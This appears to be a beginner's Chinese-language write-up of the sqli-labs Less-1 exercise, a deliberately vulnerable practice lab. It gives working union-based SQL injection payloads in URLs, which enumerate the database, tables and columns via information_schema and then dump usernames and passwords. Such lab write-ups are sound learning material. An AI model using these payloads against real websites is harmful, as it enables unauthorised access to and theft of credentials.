sqli-lab刷题Less-1

标题 sqli-lab刷题Less-1

本人是一名小白，刚开始进行web学习。
打开sqli-lib的Less-1，观察其页面。
可以看到，其页面提示输入id值，在url输入?id=1,提交id=1的参数，并且结合其给的提示，探测出其为单引号型的sql注入

之后拼接sql语句，在url输入?id=1’ order by 4 --+，order by会对列名称进行排序，多次试验发现为4时候报错，3不报错，证明该表名有3个字段

之后使用联合查询语句探测注入点：？id=1’ and 1=2 union select 1,2,3 --+
其中select 1,2,3语句含义为不筛选什么，返回1，2，3，union会将两次搜索的结果合并起来，但是union前面语句结果为False，因此不合并

由此可知字段2，字段3会被显示出来，由此可以爆破出数据库名等等。

首先要记住三个函数：
database()：当前网站使用的数据库
version()：当前mysql的版本
user()：当前mysql的用户

先爆出数据库，查看其版本
?id=1’ and 1=2 union select 1,version(),database() --+

在mysql 5.0以上的版本中，为了方便管理，默认定义了information_schema数据库，用来存储数据库元信息，其中具有表schemata(数据库名),tables(表民),columns(列名或字段名)。
1.在schemata表中，schema_name字段用来存储数据库名。
2.在tables表中，table_schema和table_name分别用来存储数据库名和表名。
3.在columns表中，table_schema（数据库名），table_name(表名),column_name(字段名)。

输入语句：
?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆出当前数据库下表名。
其中group_concat是针对列做的数据拼接，且group_concat自动生成逗号。

之后要获取字段值
输入?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
盲猜用户名密码在users表中

猜测用户名在username字段,密码在password字段
输入?id=1’ and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
爆出用户名和密码